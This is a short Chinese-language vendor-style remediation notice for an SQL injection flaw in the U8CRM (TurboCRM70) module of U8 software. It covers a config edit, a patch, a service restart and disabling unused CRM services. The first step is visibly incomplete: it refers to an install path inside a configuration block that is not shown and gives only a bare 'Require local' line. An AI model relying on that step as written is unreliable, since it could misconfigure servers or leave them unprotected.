漏洞修复

第一步：在配置文件尾部追加如下段落即可

配置文件： U8SOFT\turbocrm70\apache\conf\httpd.conf，

在末尾添加一个配置：

Require local

其中，需要将中的u8安装路径修改为正确的安装路径

第二步：U8CRM存在SQL注入漏洞的安全补丁241125.zip

将解压文件中的U8SOFT目录覆盖产品安装目录。

第三步：修改完之后重启Apache4TurboCRM70服务

另：

如果没有使用U8CRM模块功能，U8CRM功能仅因为产品安装时全选模块带入。需要禁用U8CRM服务。即在U8应用服务管理器中停止并禁用Apache4TurboCRM70, TurboCRM70和memcached Server。

U8从v16.5开始，CRM不再作为主安装盘的一部分，而是作为独立安装盘发布。在主安装盘选择全部模块不会安装CRM模块。如果没有从单独的安装盘安装U8CRM，不会受到本漏洞影响，无需进行任何处理。
